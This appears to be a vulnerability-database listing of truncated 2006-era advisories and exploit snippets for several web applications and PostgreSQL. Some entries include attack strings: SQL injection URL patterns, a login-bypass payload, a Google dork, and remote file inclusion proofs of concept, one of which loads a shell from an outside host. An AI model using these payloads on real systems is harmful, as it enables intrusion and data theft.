ASP NEWS <= V3 (news_detail.asp) Remote SQL Injection Vulnerability

Title : ASP NEWS = V3 newsdetail.asp Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.planetgraphic.de/ SQL--------------------------------------------------------- http://target/path//newsdetail.asp?id=SQL Example:...

Fedora Core 5 : nss-3.11.3-0.5.fc5 (2006-979)

Network Security Services NSS is a set of libraries designed to support cross-platform development of security-enabled client and server applications. Applications built with NSS can support SSL v2 and v3, TLS, PKCS 5, PKCS 7, PKCS 11, PKCS 12, S/MIME, X.509 v3 certificates, and other security...

luckybot3-rfi.txt

LuckyBot v3 Remote File Include Exploerd by: RedCasper Critical : Very DangerousFile inlusion Download : www.hostscripts.com Proofing: www.Example.com/Lucky/run.php?dir=SHELL?&file= www.Example.com/Lucky/classes/ircbot.class.php?dir=SHELL?&file= GreetZ: ISlamic Defenders Crew :BrokeN-ProXy my bes...

LuckyBot v3 Remote File Include

LuckyBot v3 Remote File Include Exploerd by: RedCasper Critical : Very DangerousFile inlusion Download : www.hostscripts.com Proofing: www.Example.com/Lucky/run.php?dir=SHELL?&file= www.Example.com/Lucky/classes/ircbot.class.php?dir=SHELL?&file= GreetZ: ISlamic Defenders Crew :BrokeN-ProXy my bes...

Blogme v3 [admin login bypass & xss (post)]

vendor site:http://www.drumster.net/ product:Blogme v3 bug:login bypass & xss post risk:high admin login bypass : user : ' or '1' = '1 passwd: 1'='1' ro ' xss post : in: /comments.asp?blog=85 vulnerables fields: - Name - URL - Comments laurent gaffie & benjamin mosse http://s-a-p.ca/ contact:...

blogme 3.0 - Cross-Site Scripting Authentication Bypass

blogme 3.0 - Cross-Site Scripting Authentication Bypass blogme v3 admin login bypass & xss post vendor site:http://www.drumster.net/ product:blogme v3 bug:login bypass & xss post risk:high admin login bypass : user : ' or '1' = '1 passwd: 1'='1' ro ' xss post : in: /comments.asp?blog=85 vulnerabl...

CVE-2006-5542

backend/tcop/postgres.c in PostgreSQL 8.1.x before 8.1.5 allows remote authenticated users to cause a denial of service daemon crash related to duration logging of V3-protocol Execute messages for 1 COMMIT and 2 ROLLBACK SQL statements...

CVE-2006-5542

backend/tcop/postgres.c in PostgreSQL 8.1.x before 8.1.5 allows remote authenticated users to cause a denial of service daemon crash related to duration logging of V3-protocol Execute messages for 1 COMMIT and 2 ROLLBACK SQL statements...

CVE-2006-5542

backend/tcop/postgres.c in PostgreSQL 8.1.x before 8.1.5 allows remote authenticated users to cause a denial of service daemon crash related to duration logging of V3-protocol Execute messages for 1 COMMIT and 2 ROLLBACK SQL statements...

Vulnerability in core server (CVE-2006-5542)

A bug in the logging of V3 protocol messages can cause a denial of service. A valid login is required to exploit this vulnerability...

PostgreSQL多个本地拒绝服务漏洞

PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 PostgreSQL中存在多个拒绝服务漏洞： 1 在将未知的字母强制转换为ANYARRAY类型时没有正确检查类型，在转换过程中会导致崩溃； 2 在处理UPDATE语句中的聚合函数时存在错误，可能导致服务器后端崩溃； 3 在记录ROLLBACK或COMMIT语句的V3协议执行消息时可能导致崩溃。 PostgreSQL PostgreSQL = 8.1.4 PostgreSQL PostgreSQL = 8.0.8 PostgreSQL PostgreSQL = 7.4.13 PostgreSQL...

CharonCartv3.txt

Vulnerability Report Title : Charon Cart v3Review.asp Remote SQL Injection Vulnerability Author : ajann Script Page : http://www.charon.co.uk Exploit; http://target/path/Review.asp?ProductID=SQL HERE Example:...

Charon Cart v3 (Review.asp) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================== Charon Cart v3 Review.asp Remote SQL Injection Vulnerability ============================================================== Vulnerability Report Title : Charon Cart v3Review.as...

Charon Cart v3 (Review.asp) Remote SQL Injection Vulnerability

No description provided by source. Vulnerability Report Title : Charon Cart v3Review.asp Remote SQL Injection Vulnerability Author : ajann Script Page : http://www.charon.co.uk Exploit; http://target/path/Review.asp?ProductID=SQL HERE Example:...

Tagger v3 <= BBCodeFile Remote file inclusion

Tagger v3 = BBCodeFile Remote file inclusion Discovered by : Morgan Error in : tags.php include$BBCodeFile; Vendor Website: http://www.venturenine.com PoC: http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat? Google dork: intitle:"Tagger LE" inurl:tags.php Visit us :...

CVE-2006-3365

V3 Chat allows remote attackers to obtain the installation path via 1 an invalid id parameter to mail/index.php or 2 membername parameter to messenger/online.php, which displays the path in an error page due to an incorrect SQL statement...

CVE-2006-3366

Multiple cross-site scripting XSS vulnerabilities in V3 Chat allow remote attackers to inject arbitrary web script or HTML via crafted HTML tags, as demonstrated by the IMG tag, in the 1 id parameter in a mail/index.php and b mail/reply.php; 2 loginid parameter in c members/isonline.php; 3 siteid...

CVE-2006-3366

Vulnerability: CVE-2006-3366 affects V3 Chat. Description confirms multiple cross-site scripting (XSS) vulnerabilities where crafted HTML tags injected via user-supplied parameters can lead to script/HTML execution. Specifically vulnerable parameters include id (in mail/index.php and mail/reply.p...

CVE-2006-3365

The CVE affects V3 Chat. An incorrect SQL statement in mail/index.php (invalid id) and messenger/online.php (membername) causes an error page that reveals the installation path, constituting information disclosure. Exploitation details are not provided beyond this error-based exposure. NVD lists ...

CVE-2006-3365

V3 Chat allows remote attackers to obtain the installation path via 1 an invalid id parameter to mail/index.php or 2 membername parameter to messenger/online.php, which displays the path in an error page due to an incorrect SQL statement...